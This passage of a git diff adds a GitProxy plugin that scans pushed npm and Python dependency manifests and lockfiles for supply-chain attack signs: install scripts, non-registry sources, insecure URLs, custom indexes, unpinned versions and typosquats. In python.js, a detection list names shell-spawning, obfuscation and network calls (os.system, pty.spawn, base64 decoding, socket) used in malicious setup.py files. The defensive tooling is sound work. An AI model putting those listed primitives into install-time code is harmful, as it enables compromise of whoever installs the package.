{*} obj overrides subtree + * @param {string} prefix accumulated key path + * @param {Object} out sink + * @return {Object} flattened spec map + */ +function collectOverrideSpecs(obj, prefix, out) { + if (!isObject(obj)) return out; + for (const [key, value] of Object.entries(obj)) { + const keyPath = prefix ? `${prefix}/${key}` : key; + if (typeof value === 'string') { + out[keyPath] = value; + } else if (isObject(value)) { + collectOverrideSpecs(value, keyPath, out); + } + } + return out; +} + +/** + * Flag added/changed override/resolution entries that force a non-registry source. + * @param {import('../findings.js').Finding[]} findings sink + * @param {string} path manifest path + * @param {object} prev previous package.json + * @param {object} next new package.json + * @return {void} + */ +function analyzeOverrides(findings, path, prev, next) { + for (const { label, get } of OVERRIDE_ROOTS) { + const nextMap = collectOverrideSpecs(get(next), '', {}); + const prevMap = collectOverrideSpecs(get(prev), '', {}); + for (const [key, spec] of Object.entries(nextMap)) { + if (prevMap[key] === spec) continue; // unchanged + + const { type } = classifySpec(spec); + if (type === 'git' || type === 'url' || type === 'file') { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'npm', + rule: 'override-source', + file: path, + title: `${label} entry "${key}" forces a non-registry source (${type})`, + detail: `${label}: ${key} -> ${truncate(spec, 120)}`, + }), + ); + } + } + } +} + +/** + * Flag added/modified lifecycle scripts and dangerous script content. + * @param {import('../findings.js').Finding[]} findings sink + * @param {string} path manifest path + * @param {Object} prevScripts previous scripts map + * @param {Object} nextScripts new scripts map + * @return {void} + */ +function analyzeScripts(findings, path, prevScripts, nextScripts) { + for (const [name, script] of Object.entries(nextScripts)) { + if (typeof script !== 'string') continue; + if (!LIFECYCLE.has(name.toLowerCase())) continue; + + const isHook = INSTALL_HOOKS.includes(name.toLowerCase()); + const existed = Object.prototype.hasOwnProperty.call(prevScripts, name); + const changed = prevScripts[name] !== script; + const danger = detectDangerous(script); + + let severity; + let title; + if (changed) { + severity = danger ? SEVERITY.CRITICAL : isHook ? SEVERITY.HIGH : SEVERITY.MEDIUM; + title = `install lifecycle script "${name}" ${existed ? 'modified' : 'added'}`; + } else if (danger) { + // Pre-existing but dangerous - still worth surfacing to the reviewer. + severity = isHook ? SEVERITY.HIGH : SEVERITY.MEDIUM; + title = `existing lifecycle script "${name}" runs a suspicious command`; + } else { + continue; // unchanged, benign lifecycle script -> skip to reduce noise + } + + const detail = danger ? `${danger}: \`${truncate(script)}\`` : `\`${truncate(script)}\``; + findings.push( + finding({ severity, ecosystem: 'npm', rule: 'install-script', file: path, title, detail }), + ); + } +} + +/** + * Flag suspicious dependency sources, unpinned versions, typosquats and list new dependencies. + * @param {import('../findings.js').Finding[]} findings sink + * @param {string} path manifest path + * @param {object} prev previous package.json + * @param {object} next new package.json + * @param {object} config resolved plugin config + * @return {void} + */ +function analyzeDependencies(findings, path, prev, next, config) { + const newlyAdded = []; + + for (const field of DEP_FIELDS) { + const nextDeps = isObject(next[field]) ? next[field] : {}; + const prevDeps = isObject(prev[field]) ? prev[field] : {}; + + for (const [name, spec] of Object.entries(nextDeps)) { + const isNew = !Object.prototype.hasOwnProperty.call(prevDeps, name); + const changed = prevDeps[name] !== spec; + if (!isNew && !changed) continue; // untouched dependency + + const { type } = classifySpec(spec); + if (type === 'git' || type === 'url' || type === 'file') { + findings.push( + finding({ + severity: isNew ? SEVERITY.HIGH : SEVERITY.MEDIUM, + ecosystem: 'npm', + rule: 'non-registry-source', + file: path, + title: `dependency "${name}" resolves from a non-registry source (${type})`, + detail: `${field}: ${name} -> ${truncate(spec, 120)}`, + }), + ); + } else if (type === 'alias') { + findings.push( + finding({ + severity: SEVERITY.MEDIUM, + ecosystem: 'npm', + rule: 'npm-alias', + file: path, + title: `dependency "${name}" is installed under an npm alias`, + detail: `${field}: ${name} -> ${truncate(spec, 120)}`, + }), + ); + } + + if (isLooseSpec(spec)) { + findings.push( + finding({ + severity: SEVERITY.MEDIUM, + ecosystem: 'npm', + rule: 'loose-version', + file: path, + title: `dependency "${name}" uses an unpinned/wildcard version`, + detail: `${field}: ${name} -> "${spec}"`, + }), + ); + } + + if (isNew) { + newlyAdded.push(`${name} (${field})`); + if (config.typosquat) { + const near = nearestPopular(name, config.allowPackages); + if (near) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'npm', + rule: 'typosquat', + file: path, + title: `new dependency "${name}" closely resembles the popular package "${near}"`, + detail: `possible typosquat; verify "${name}" is the intended package`, + }), + ); + } + } + } + } + } + + if (newlyAdded.length > 0) { + findings.push( + finding({ + severity: SEVERITY.INFO, + ecosystem: 'npm', + rule: 'new-dependencies', + file: path, + title: `${newlyAdded.length} new dependency(ies) added`, + detail: truncate(newlyAdded.join(', '), 300), + }), + ); + } +} + +const DEFAULT_REGISTRY_HOST = 'registry.npmjs.org'; + +/** + * Scan a lockfile for newly-introduced package sources that don't resolve to the expected + * registry (git sources, plain-http tarballs, or off-registry hosts). + * @param {{path: string, oldContent: ?string, newContent: ?string, config: object}} input lockfile input + * @return {import('../findings.js').Finding[]} findings + */ +function analyzeNpmLockfile({ path, oldContent, newContent, config }) { + const findings = []; + if (newContent == null) return findings; + + const allowedHosts = + Array.isArray(config.npmRegistryHosts) && config.npmRegistryHosts.length + ? config.npmRegistryHosts + : [DEFAULT_REGISTRY_HOST]; + + const newUrls = extractResolvedUrls(newContent); + const oldUrls = oldContent ? extractResolvedUrls(oldContent) : new Set(); + + for (const url of newUrls) { + if (oldUrls.has(url)) continue; // pre-existing source + + const isGit = /^git\+/i.test(url) || /\.git(?:$|#)/i.test(url); + const isHttp = /^http:\/\//i.test(url); + let host = null; + try { + host = new URL(url).host; + } catch { + host = null; + } + const offRegistry = host && !allowedHosts.some((h) => host === h || host.endsWith(`.${h}`)); + + if (isGit) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'npm', + rule: 'lockfile-git-source', + file: path, + title: 'lockfile resolves a package from a git source', + detail: truncate(url, 160), + }), + ); + } else if (isHttp) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'npm', + rule: 'lockfile-insecure-source', + file: path, + title: 'lockfile resolves a package over plain http', + detail: truncate(url, 160), + }), + ); + } else if (offRegistry) { + findings.push( + finding({ + severity: SEVERITY.MEDIUM, + ecosystem: 'npm', + rule: 'lockfile-offregistry-source', + file: path, + title: `lockfile resolves a package from an unexpected registry (${host})`, + detail: truncate(url, 160), + }), + ); + } + } + return findings; +} + +/** + * Extract resolved/tarball/url source URLs from any npm-family lockfile (package-lock.json, + * yarn.lock, pnpm-lock.yaml) via a text scan - robust across the different lockfile formats, + * including pnpm's *unquoted* YAML scalars (e.g. `tarball: https://...`, `url: git+...`). + * @param {string} text lockfile content + * @return {Set} resolved URLs + */ +function extractResolvedUrls(text) { + const urls = new Set(); + const add = (u) => { + if (u && /^(?:https?:\/\/|git\+)/i.test(u)) urls.add(u); + }; + + // Quoted forms: package-lock.json ("resolved": "..."), yarn.lock (resolved "..."). + const quoted = /(?:"resolved"\s*:\s*"|resolved\s+"|tarball:\s*['"])([^"'\s]+)/g; + let m; + while ((m = quoted.exec(text)) !== null) add(m[1]); + + // Unquoted YAML scalars (pnpm-lock.yaml): `tarball: `, `url: `, `resolved: `. + // The keys here are bare (no surrounding quotes), which distinguishes them from the quoted + // "resolved"/"url" keys in package-lock.json handled above. + const unquoted = + /(?:\btarball|\bresolved|\burl)\s*:\s*(https?:\/\/[^\s,'"}\]]+|git\+[^\s,'"}\]]+)/gi; + while ((m = unquoted.exec(text)) !== null) add(m[1]); + + return urls; +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/python.js b/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/python.js new file mode 100644 index 000000000..100dbae37 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/ecosystems/python.js @@ -0,0 +1,371 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { finding } from '../findings.js'; +import { SEVERITY } from '../severity.js'; +import { nearestPopularPython } from '../typosquat.js'; + +// Patterns that indicate install/build-time code execution or obfuscation in setup.py. +// Ordered most-specific -> least; the first match supplies the "why". +const DANGEROUS_PY_PATTERNS = [ + { + re: /\b(?:os\.system|subprocess\.\w+|os\.popen|pty\.spawn)\s*\(/i, + why: 'executes shell/subprocess commands', + }, + { re: /(?:https?:\/\/)?\b\d{1,3}(?:\.\d{1,3}){3}\b/, why: 'references a raw IP address' }, + { + re: /base64\.(?:b64decode|decodebytes|b85decode)|codecs\.decode/i, + why: 'decodes base64/obfuscated data', + }, + { re: /\b(?:eval|exec|compile)\s*\(/, why: 'uses eval()/exec()/compile()' }, + { re: /\b__import__\s*\(/, why: 'performs a dynamic __import__()' }, + { + re: /\b(?:urllib|urlopen|requests\.(?:get|post)|httpx\.|socket\.socket|urlretrieve)\b/i, + why: 'performs network access at install/build time', + }, +]; + +const DEFAULT_INDEX_HOSTS = ['pypi.org', 'files.pythonhosted.org', 'pypi.python.org']; + +/** + * Analyze a changed Python dependency file for supply-chain signatures. + * @param {{path: string, kind: string, oldContent: ?string, newContent: ?string, config: object}} input file + config + * @return {import('../findings.js').Finding[]} findings + */ +export function analyzePython({ path, kind, oldContent, newContent, config }) { + if (newContent == null) return []; + const base = path.replace(/\\/g, '/').split('/').pop().toLowerCase(); + + if (base === 'setup.py') return analyzeSetupPy(path, oldContent, newContent); + if (/^requirements[\w.-]*\.txt$/.test(base)) { + return analyzeRequirements(path, oldContent, newContent, config); + } + if (base === 'pyproject.toml' || base === 'pipfile' || base === 'setup.cfg') { + return analyzeTomlLike(path, oldContent, newContent, config); + } + if (kind === 'lockfile') return analyzePythonLockfile(path, oldContent, newContent, config); + return []; +} + +/** + * Detect the first dangerous pattern in Python source. + * @param {string} text source text + * @return {?string} reason, or null + */ +function detectDangerousPy(text) { + for (const p of DANGEROUS_PY_PATTERNS) { + if (p.re.test(text)) return p.why; + } + return null; +} + +/** + * Collapse whitespace and cap length for display in findings. + * @param {*} str value to truncate + * @param {number} [n] max length + * @return {string} truncated string + */ +function truncate(str, n = 160) { + const s = String(str).replace(/\s+/g, ' ').trim(); + return s.length > n ? `${s.slice(0, n)}…` : s; +} + +/** + * Lines present in the new content but not the old (trimmed, non-empty). Limits scanning to + * content actually introduced by this push, reducing noise on large unchanged files. + * @param {?string} oldContent previous content + * @param {string} newContent new content + * @return {string[]} newly added lines + */ +function addedLines(oldContent, newContent) { + const oldSet = new Set((oldContent || '').split(/\r?\n/).map((l) => l.trim())); + return newContent + .split(/\r?\n/) + .map((l) => l.trim()) + .filter((l) => l && !oldSet.has(l)); +} + +/** + * @param {string} path setup.py path + * @param {?string} oldContent previous content + * @param {string} newContent new content + * @return {import('../findings.js').Finding[]} findings + */ +function analyzeSetupPy(path, oldContent, newContent) { + // setup.py runs arbitrary Python at install/build time - always worth surfacing when touched. + const scanTarget = + oldContent == null ? newContent : addedLines(oldContent, newContent).join('\n'); + const danger = detectDangerousPy(scanTarget); + const verb = oldContent == null ? 'added' : 'modified'; + return [ + finding({ + severity: danger ? SEVERITY.CRITICAL : SEVERITY.HIGH, + ecosystem: 'python', + rule: 'python-setup-script', + file: path, + title: `setup.py ${verb} (runs arbitrary code at install/build time)`, + detail: danger ? danger : 'review setup.py for install-time code execution', + }), + ]; +} + +/** + * Strip an inline/`# ...` comment while preserving URL fragments like `...#egg=name`. + * @param {string} raw a requirements line + * @return {string} the line without its trailing comment + */ +function stripReqComment(raw) { + // A pip comment is a `#` preceded by whitespace (or the start of line). + return raw.split(/\s+#/)[0]; +} + +/** + * @param {string} path requirements file path + * @param {?string} oldContent previous content + * @param {string} newContent new content + * @param {object} config resolved config + * @return {import('../findings.js').Finding[]} findings + */ +function analyzeRequirements(path, oldContent, newContent, config) { + const findings = []; + for (const raw of addedLines(oldContent, newContent)) { + const line = stripReqComment(raw).trim(); + if (!line || line.startsWith('#')) continue; + + const indexMatch = line.match(/^(--index-url|--extra-index-url|-i)\b/i); + if (indexMatch) { + const isExtra = /extra-index-url/i.test(indexMatch[1]); + findings.push( + finding({ + severity: isExtra ? SEVERITY.HIGH : SEVERITY.MEDIUM, + ecosystem: 'python', + rule: 'python-index-url', + file: path, + title: `requirements sets a custom package index (${indexMatch[1]}) - dependency-confusion risk`, + detail: truncate(line), + }), + ); + continue; + } + + const isVcsOrUrl = + /^(-e|--editable)\b/i.test(line) || + /^(git\+|hg\+|svn\+|bzr\+|https?:\/\/|file:)/i.test(line) || + /\s@\s+(git\+|https?:\/\/|file:)/i.test(line); + if (isVcsOrUrl) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'python', + rule: 'python-non-registry-source', + file: path, + title: 'requirement installed from a non-registry source (vcs/url/editable)', + detail: truncate(line), + }), + ); + continue; + } + + if (line.startsWith('-')) continue; // other pip options (e.g. -r, --hash) + + const nameMatch = line.match(/^([A-Za-z0-9][A-Za-z0-9._-]*)/); + if (!nameMatch) continue; + const name = nameMatch[1]; + const rest = line + .slice(name.length) + .replace(/\[[^\]]*\]/, '') + .trim(); + if (!/[=<>~!@]/.test(rest)) { + findings.push( + finding({ + severity: SEVERITY.LOW, + ecosystem: 'python', + rule: 'python-unpinned', + file: path, + title: `requirement "${name}" is unpinned`, + detail: truncate(line, 120), + }), + ); + } + if (config.typosquat) { + const near = nearestPopularPython(name, config.allowPackages); + if (near) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'python', + rule: 'typosquat', + file: path, + title: `requirement "${name}" closely resembles the popular package "${near}"`, + detail: `possible typosquat; verify "${name}" is the intended package`, + }), + ); + } + } + } + return findings; +} + +/** + * Scan pyproject.toml / Pipfile / setup.cfg added lines for non-registry sources and custom + * package indexes (text scan - no TOML parser dependency). + * @param {string} path file path + * @param {?string} oldContent previous content + * @param {string} newContent new content + * @param {object} config resolved config + * @return {import('../findings.js').Finding[]} findings + */ +function analyzeTomlLike(path, oldContent, newContent, config) { + const findings = []; + const indexHosts = Array.isArray(config.pythonIndexHosts) + ? config.pythonIndexHosts + : DEFAULT_INDEX_HOSTS; + + for (const line of addedLines(oldContent, newContent)) { + // Custom package index declaration (poetry: [[tool.poetry.source]]; pipenv: [[source]]). + if (/^\[\[\s*(?:tool\.poetry\.)?source\s*\]\]/i.test(line)) { + findings.push( + finding({ + severity: SEVERITY.MEDIUM, + ecosystem: 'python', + rule: 'python-custom-index', + file: path, + title: 'declares a custom package index source - dependency-confusion risk', + detail: truncate(line), + }), + ); + continue; + } + + // Inline table dependency sources: `foo = { git = "..." }` / `{ url = "..." }` / `{ path = "..." }`. + const inline = line.match(/\b(git|url|path)\s*=\s*["']([^"']+)["']/i); + if (inline) { + const kind = inline[1].toLowerCase(); + const value = inline[2]; + // A registry index `url` pointing at the official host is not a non-registry source. + let host = null; + try { + host = new URL(value).host.toLowerCase(); + } catch { + host = null; + } + const isOfficialIndex = + kind === 'url' && host && indexHosts.some((h) => host === h || host.endsWith(`.${h}`)); + if (!isOfficialIndex) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'python', + rule: 'python-non-registry-source', + file: path, + title: `dependency pinned to a non-registry source (${kind})`, + detail: truncate(line), + }), + ); + } + continue; + } + + // PEP 508 direct URL reference: `name @ https://...` or `name @ git+...`. + if (/["']?[A-Za-z0-9._-]+\s+@\s+(git\+|https?:\/\/|file:)/.test(line)) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'python', + rule: 'python-non-registry-source', + file: path, + title: 'dependency uses a PEP 508 direct URL reference', + detail: truncate(line), + }), + ); + } + } + return findings; +} + +/** + * Scan poetry.lock / Pipfile.lock added lines for newly-introduced git/url package sources. + * @param {string} path lockfile path + * @param {?string} oldContent previous content + * @param {string} newContent new content + * @param {object} config resolved config + * @return {import('../findings.js').Finding[]} findings + */ +function analyzePythonLockfile(path, oldContent, newContent, config) { + const findings = []; + const indexHosts = Array.isArray(config.pythonIndexHosts) + ? config.pythonIndexHosts + : DEFAULT_INDEX_HOSTS; + const urlRe = /(git\+[^\s"',}\]]+|https?:\/\/[^\s"',}\]]+)/gi; + + for (const line of addedLines(oldContent, newContent)) { + // A git package source can be declared either by a `git+` URL or by a git key/type next to + // a plain URL (e.g. Pipfile.lock `"git": "https://..."`, poetry `type = "git"`). + const gitContext = /(?:^|[\s"'{,])(?:git|type)\s*[:=]\s*["']?git\b/i.test(line); + + let m; + urlRe.lastIndex = 0; + while ((m = urlRe.exec(line)) !== null) { + const url = m[1]; + if (/^git\+/i.test(url) || gitContext) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'python', + rule: 'python-lockfile-git-source', + file: path, + title: 'lockfile resolves a package from a git source', + detail: truncate(url), + }), + ); + continue; + } + if (/^http:\/\//i.test(url)) { + findings.push( + finding({ + severity: SEVERITY.HIGH, + ecosystem: 'python', + rule: 'python-lockfile-insecure-source', + file: path, + title: 'lockfile resolves a package over plain http', + detail: truncate(url), + }), + ); + continue; + } + let host = null; + try { + host = new URL(url).host.toLowerCase(); + } catch { + host = null; + } + const offIndex = host && !indexHosts.some((h) => host === h || host.endsWith(`.${h}`)); + if (offIndex) { + findings.push( + finding({ + severity: SEVERITY.MEDIUM, + ecosystem: 'python', + rule: 'python-lockfile-offindex-source', + file: path, + title: `lockfile resolves a package from an unexpected index (${host})`, + detail: truncate(url), + }), + ); + } + } + } + return findings; +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/findings.js b/plugins/git-proxy-plugin-supply-chain/lib/findings.js new file mode 100644 index 000000000..f340e7bce --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/findings.js @@ -0,0 +1,62 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { rank, SEVERITY } from './severity.js'; + +/** + * @typedef {Object} Finding + * @property {string} severity one of SEVERITY.* + * @property {string} ecosystem e.g. 'npm' + * @property {string} rule stable machine-readable rule id + * @property {string} file path of the manifest the finding relates to + * @property {string} title short human-readable summary + * @property {string} detail optional extra context + */ + +/** + * Build a normalised Finding object. + * @param {Partial} input finding fields + * @return {Finding} the finding + */ +export function finding({ severity = SEVERITY.INFO, ecosystem, rule, file, title, detail = '' }) { + return { severity, ecosystem, rule, file, title, detail }; +} + +const LABEL = { + info: 'INFO', + low: 'LOW', + medium: 'MEDIUM', + high: 'HIGH', + critical: 'CRITICAL', +}; + +/** + * Render findings into a human-readable report (shown in the review dashboard / git output), + * ordered most-severe first. + * @param {Finding[]} findings the findings to render + * @return {string} the report + */ +export function renderFindings(findings) { + const sorted = [...findings].sort((a, b) => rank(b.severity) - rank(a.severity)); + const lines = ['Supply-chain scan findings:', '']; + sorted.forEach((f, i) => { + const label = LABEL[f.severity] ?? String(f.severity).toUpperCase(); + lines.push(` #${i + 1} [${label}] (${f.ecosystem}) ${f.title}`); + lines.push(` file: ${f.file}`); + if (f.detail) lines.push(` ${f.detail}`); + }); + return lines.join('\n'); +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/manifests.js b/plugins/git-proxy-plugin-supply-chain/lib/manifests.js new file mode 100644 index 000000000..fa249d887 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/manifests.js @@ -0,0 +1,53 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Known dependency manifest / lockfile files mapped to an ecosystem and kind. A rule matches a + * file basename either exactly (`name`) or by regex (`pattern`). Additional ecosystems (go, + * cargo, ...) are added here as they are implemented. + * @type {{name?: string, pattern?: RegExp, ecosystem: string, kind: 'manifest' | 'lockfile'}[]} + */ +const BASENAME_RULES = [ + // npm + { name: 'package.json', ecosystem: 'npm', kind: 'manifest' }, + { name: 'package-lock.json', ecosystem: 'npm', kind: 'lockfile' }, + { name: 'npm-shrinkwrap.json', ecosystem: 'npm', kind: 'lockfile' }, + { name: 'yarn.lock', ecosystem: 'npm', kind: 'lockfile' }, + { name: 'pnpm-lock.yaml', ecosystem: 'npm', kind: 'lockfile' }, + // python + { pattern: /^requirements[\w.-]*\.txt$/i, ecosystem: 'python', kind: 'manifest' }, + { name: 'pyproject.toml', ecosystem: 'python', kind: 'manifest' }, + { name: 'setup.py', ecosystem: 'python', kind: 'manifest' }, + { name: 'setup.cfg', ecosystem: 'python', kind: 'manifest' }, + { name: 'Pipfile', ecosystem: 'python', kind: 'manifest' }, + { name: 'Pipfile.lock', ecosystem: 'python', kind: 'lockfile' }, + { name: 'poetry.lock', ecosystem: 'python', kind: 'lockfile' }, + // go + { name: 'go.mod', ecosystem: 'go', kind: 'manifest' }, + { name: 'go.sum', ecosystem: 'go', kind: 'lockfile' }, +]; + +/** + * Classify a repository file path as a known dependency manifest/lockfile. + * @param {string} path repo-relative file path (POSIX or Windows separators) + * @return {{ecosystem: string, kind: string} | null} classification or null if not a manifest + */ +export function classifyManifest(path) { + if (!path || typeof path !== 'string') return null; + const base = path.replace(/\\/g, '/').split('/').pop(); + const rule = BASENAME_RULES.find((r) => (r.pattern ? r.pattern.test(base) : r.name === base)); + return rule ? { ecosystem: rule.ecosystem, kind: rule.kind } : null; +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/severity.js b/plugins/git-proxy-plugin-supply-chain/lib/severity.js new file mode 100644 index 000000000..2649158f9 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/severity.js @@ -0,0 +1,56 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +export const SEVERITY = { + INFO: 'info', + LOW: 'low', + MEDIUM: 'medium', + HIGH: 'high', + CRITICAL: 'critical', +}; + +// Ordered lowest -> highest. 'off' is only ever used as a `failOn` threshold sentinel +// meaning "never block"; it is not a valid finding severity. +const ORDER = ['off', 'info', 'low', 'medium', 'high', 'critical']; + +/** + * Numeric rank of a severity/threshold value (higher = more severe). Unknown values rank 0. + * @param {string} sev severity or threshold string + * @return {number} rank + */ +export function rank(sev) { + const i = ORDER.indexOf(sev); + return i === -1 ? 0 : i; +} + +/** + * True when `sev` meets or exceeds `threshold`. A threshold of 'off' (rank 0) never matches. + * @param {string} sev finding severity + * @param {string} threshold configured failure threshold + * @return {boolean} whether the severity crosses the threshold + */ +export function rankAtLeast(sev, threshold) { + return rank(threshold) > 0 && rank(sev) >= rank(threshold); +} + +/** + * Highest severity among the given values, defaulting to INFO when empty. + * @param {string[]} severities list of severities + * @return {string} the maximum severity + */ +export function maxSeverity(severities) { + return severities.reduce((acc, s) => (rank(s) > rank(acc) ? s : acc), SEVERITY.INFO); +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/tree.js b/plugins/git-proxy-plugin-supply-chain/lib/tree.js new file mode 100644 index 000000000..cee3320fe --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/tree.js @@ -0,0 +1,39 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { classifyManifest } from './manifests.js'; + +/** + * From a flat list of repo-relative file paths (e.g. the output of `git ls-tree -r --name-only`), + * return the recognised dependency manifests/lockfiles. Used for whole-tree scanning on pull, + * where there is no diff to drive file selection. + * @param {string[]} paths repo-relative file paths + * @return {{path: string, ecosystem: string, kind: string, deleted: boolean}[]} manifest files + */ +export function manifestPathsFromTree(paths) { + if (!Array.isArray(paths)) return []; + const out = []; + const seen = new Set(); + for (const raw of paths) { + const path = typeof raw === 'string' ? raw.trim() : ''; + if (!path || seen.has(path)) continue; + const cls = classifyManifest(path); + if (!cls) continue; + seen.add(path); + out.push({ path, ecosystem: cls.ecosystem, kind: cls.kind, deleted: false }); + } + return out; +} diff --git a/plugins/git-proxy-plugin-supply-chain/lib/typosquat.js b/plugins/git-proxy-plugin-supply-chain/lib/typosquat.js new file mode 100644 index 000000000..06bc3cea2 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/lib/typosquat.js @@ -0,0 +1,105 @@ +/** + * Copyright 2026 GitProxy Contributors + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { NPM_POPULAR } from './data/npm-popular.js'; +import { PYPI_POPULAR } from './data/pypi-popular.js'; + +const NPM_SET = new Set(NPM_POPULAR.map((n) => n.toLowerCase())); +const PYPI_SET = new Set(PYPI_POPULAR.map((n) => n.toLowerCase())); + +/** + * Levenshtein edit distance between two strings. + * @param {string} a first string + * @param {string} b second string + * @return {number} edit distance + */ +export function levenshtein(a, b) { + if (a === b) return 0; + const m = a.length; + const n = b.length; + if (m === 0) return n; + if (n === 0) return m; + + let prev = new Array(n + 1); + let curr = new Array(n + 1); + for (let j = 0; j <= n; j++) prev[j] = j; + + for (let i = 1; i <= m; i++) { + curr[0] = i; + for (let j = 1; j <= n; j++) { + const cost = a[i - 1] === b[j - 1] ? 0 : 1; + curr[j] = Math.min(prev[j] + 1, curr[j - 1] + 1, prev[j - 1] + cost); + } + [prev, curr] = [curr, prev]; + } + return prev[n]; +} + +/** + * If `name` looks like a typosquat of a package in `popularSet`, return that popular package + * name; otherwise null. A name that IS itself popular (or allow-listed) is never flagged. + * @param {string} name candidate package name + * @param {Set} popularSet lowercased popular package names + * @param {string[]} [allow] package names to never flag + * @return {string | null} the popular package being impersonated, or null + */ +function nearestInSet(name, popularSet, allow = []) { + if (!name || typeof name !== 'string') return null; + const lower = name.toLowerCase(); + if (popularSet.has(lower)) return null; + if (allow.includes(name) || allow.includes(lower)) return null; + + // Compare the unscoped part (e.g. '@acme/lodahs' -> 'lodahs'). + const bare = lower.startsWith('@') ? lower.split('/').pop() : lower; + if (!bare || bare.length < 4) return null; // too short -> too noisy to be useful + + let best = null; + let bestDist = Infinity; + for (const pop of popularSet) { + const d = levenshtein(bare, pop); + if (d < bestDist) { + bestDist = d; + best = pop; + } + if (bestDist === 1) break; + } + + // Exact match after unscoping is not a typo (bestDist 0). Distance 1 is always suspicious; + // allow distance 2 only for longer names where a 2-char slip is still plausibly a typo. + const threshold = bare.length >= 6 ? 2 : 1; + if (best && bestDist > 0 && bestDist <= threshold) return best; + return null; +} + +/** + * Typosquat check against the popular npm package list. + * @param {string} name candidate package name + * @param {string[]} [allow] package names to never flag + * @return {string | null} the popular package being impersonated, or null + */ +export function nearestPopular(name, allow = []) { + return nearestInSet(name, NPM_SET, allow); +} + +/** + * Typosquat check against the popular PyPI package list. + * @param {string} name candidate package name + * @param {string[]} [allow] package names to never flag + * @return {string | null} the popular package being impersonated, or null + */ +export function nearestPopularPython(name, allow = []) { + return nearestInSet(name, PYPI_SET, allow); +} diff --git a/plugins/git-proxy-plugin-supply-chain/package.json b/plugins/git-proxy-plugin-supply-chain/package.json new file mode 100644 index 000000000..c547ed440 --- /dev/null +++ b/plugins/git-proxy-plugin-supply-chain/package.json @@ -0,0 +1,29 @@ +{ + "name": "@finos/git-proxy-plugin-supply-chain", + "version": "0.1.0", + "description": "GitProxy push plugin that flags common supply-chain-attack signatures (install scripts, non-registry sources, typosquats, unpinned versions) on changed dependency manifests.", + "type": "module", + "main": "index.js", + "exports": { + ".": "./index.js" + }, + "scripts": { + "test": "echo \"Unit tests live in the git-proxy root test/ suite (test/plugins/supply-chain)\" && exit 0" + }, + "keywords": [ + "git-proxy", + "plugin", + "supply-chain", + "security", + "npm" + ], + "author": "GitProxy Contributors", + "license": "Apache-2.0", + "dependencies": { + "parse-diff": "^0.11.1", + "simple-git": "^3.30.0" + }, + "peerDependencies": { + "@finos/git-proxy": "^2.0.0" + } +} diff --git a/plugins/git-proxy-plugin-supply-chain/pull.js b/plugins/git-proxy-plugin-supply-chain/pull.js new file mode 100644 index 000000000..05d9d1350 --- /dev/null +++ 